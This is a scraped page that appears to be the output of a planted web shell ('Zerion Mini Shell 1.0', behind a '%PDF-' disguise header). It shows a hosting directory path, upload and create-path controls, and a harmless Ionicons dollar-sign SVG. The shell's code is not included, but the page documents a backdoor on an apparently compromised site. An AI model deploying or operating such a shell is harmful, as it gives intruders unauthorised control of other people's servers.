%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/medipszd/www/bower_components/Ionicons/src/
Upload File :
Create Path :
Current File : //home/medipszd/www/bower_components/Ionicons/src/social-usd-outline.svg

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.2.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="512px" height="512px" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve">
<g>
	<path d="M220.746,102.625c-7.788,1.683-17.44,4.813-24.641,8.529c-9.018,4.649-16.411,10.965-22.604,19.295
		c-6.706,9.002-10.105,19.989-10.105,32.657c0,17.916,6.197,32.288,18.405,42.702c9.334,7.983,21.504,14.431,36.687,19.165
		L240,230.667V100.244C240,100.244,231.766,100.244,220.746,102.625z M224,209.699c-12-3.743-23.912-9.088-32.051-16.048
		c-8.621-7.355-12.673-17.534-12.673-30.545c0-9.241,2.414-16.94,7.004-23.102c4.58-6.161,9.912-11.038,16.88-14.631
		c6.18-3.189,13.84-5.565,20.84-7.138V209.699z"/>
	<path d="M348.217,296.725c-8.432-8.289-18.002-14.296-28.414-17.84c-8.949-3.075-17.441-5.848-27.465-8.477L272,265.145v145.188
		c0,0,12.051-0.642,18.371-1.476s10.703-1.971,16.67-3.798c12.727-3.89,23.309-9.02,31.32-15.25
		c8.678-6.747,15.145-14.785,19.164-23.907c3.775-8.595,5.706-17.581,5.706-26.711C363.231,320.822,358.188,306.536,348.217,296.725
		z M342.902,359.471c-2.939,6.673-7.699,12.576-14.303,17.711c-6.602,5.133-15.744,9.328-26.377,12.577
		c-4.5,1.378-8.223,2.444-14.223,3.236v-107.11c10,2.624,18.18,5.332,26.326,8.131c8.062,2.744,15.748,7.443,22.537,14.116
		c6.785,6.676,10.309,17.03,10.309,31.06C347.172,346.042,345.834,352.797,342.902,359.471z"/>
	<path d="M411.387,303.256c-3.119-9.577-7.891-18.561-14.301-26.952c-6.422-8.382-14.396-15.826-23.93-22.331
		c-9.539-6.498-20.721-11.63-33.553-15.4c-5.143-1.363-14.189-3.506-26.104-6.418c-8.516-2.074-16.5-4.2-25.5-6.367V120.065
		c9,2.396,15.252,6.202,21.926,10.43c14.279,9.04,23.232,24.505,25.855,45.505h69.174c-0.654-18-4.65-32.76-11.996-46.02
		c-8.07-14.543-18.977-27.024-32.73-36.956c-13.75-9.922-30.225-17.49-48.377-22.455C303.967,68.416,297,66.605,288,65.386V32h-64
		v33.167c-7,1.044-15.148,2.445-22.426,4.25c-17.242,4.283-32.388,10.868-45.951,19.764c-13.571,8.905-24.352,20.112-32.604,33.627
		c-8.251,13.523-12.312,29.52-12.312,48c0,9.585,1.407,18.993,4.157,28.235c2.752,9.241,7.442,17.967,14.042,26.181
		c6.603,8.214,15.495,15.658,26.687,22.332c11.183,6.672,24.705,12.064,41.576,16.171c9.287,2.345,18.83,4.534,26.83,6.576v119.586
		c-11-2.919-21.889-7.399-30.678-13.479c-9.17-6.327-16.066-13.953-21.198-23.884c-4.779-9.229-7.073-20.526-7.407-32.526H96
		c0.695,21,5.25,39.494,13.672,55.371c8.799,16.604,20.533,29.96,35.204,40.562c14.662,10.613,31.393,18.356,51.198,23.491
		c8.885,2.304,18.926,3.96,27.926,5.23V480h64v-34.54c10-1.069,18.957-2.69,28.527-4.879c18.701-4.273,35.645-11.036,50.316-20.276
		c14.662-9.24,26.621-21.128,35.611-35.681c8.98-14.541,13.545-32.085,13.545-52.619C416,322.427,414.498,312.841,411.387,303.256z
		 M388.904,376.218c-7.623,12.34-17.873,22.619-30.457,30.55c-13.035,8.21-28.248,14.339-45.219,18.217
		c-9.059,2.071-17.285,3.564-26.654,4.566L272,431.08V464h-32v-33.244l-13.508-1.943c-9.256-1.307-18.671-2.968-26.271-4.938
		c-17.865-4.633-32.876-11.51-46.031-21.032c-12.845-9.283-22.77-20.551-30.408-34.967c-5.004-9.437-8.418-20.876-10.268-31.876
		h36.714c1.529,8,4.162,16.837,7.804,23.869c6.324,12.239,14.979,21.914,26.441,29.823c10.145,7.017,23.81,12.64,35.676,15.724
		S240,408.667,240,408.667V257.874l-11.786-3.074c-4.952-1.263-11.074-2.583-16.558-3.96c-3.395-0.854-6.814-1.729-10.37-2.626
		l-0.033-0.017l-0.051-0.017c-14.952-3.64-27.533-8.472-37.411-14.365c-9.487-5.657-17.021-11.92-22.399-18.611
		c-5.271-6.56-9.029-13.533-11.17-20.722c-2.307-7.755-3.476-15.721-3.476-23.675c0-15.66,3.274-28.636,10.002-39.665
		c7.097-11.622,16.187-20.973,27.786-28.585c12.201-8.003,25.666-13.764,41.155-17.611c6.334-1.571,12.865-2.901,19.926-3.954
		L240,78.958V48h32v31.363l13.127,1.877c7.371,0.999,14.236,2.404,22.637,4.699c16.389,4.482,30.91,11.189,43.023,19.929
		c11.691,8.443,21.182,19.333,28.133,31.862c3.805,6.865,6.504,14.27,8.137,22.27h-38.119c-5.078-19-15.352-33.637-30.172-43.021
		c-9.254-5.861-17.561-9.215-27.373-12.251C281.766,101.75,272,101.25,272,101.25v137.142l12.529,2.951
		c7.631,1.837,14.184,3.644,21.453,5.415l3.92,0.938l0.812,0.19c11.373,2.78,19.651,4.799,24.558,6.096
		c11.084,3.275,20.8,7.721,28.851,13.204c8.078,5.513,14.895,11.853,20.236,18.828c5.291,6.925,9.264,14.393,11.801,22.179
		c2.562,7.898,3.863,15.91,3.863,23.812C400.023,349.395,396.283,364.271,388.904,376.218z"/>
</g>
</svg>

Zerion Mini Shell 1.0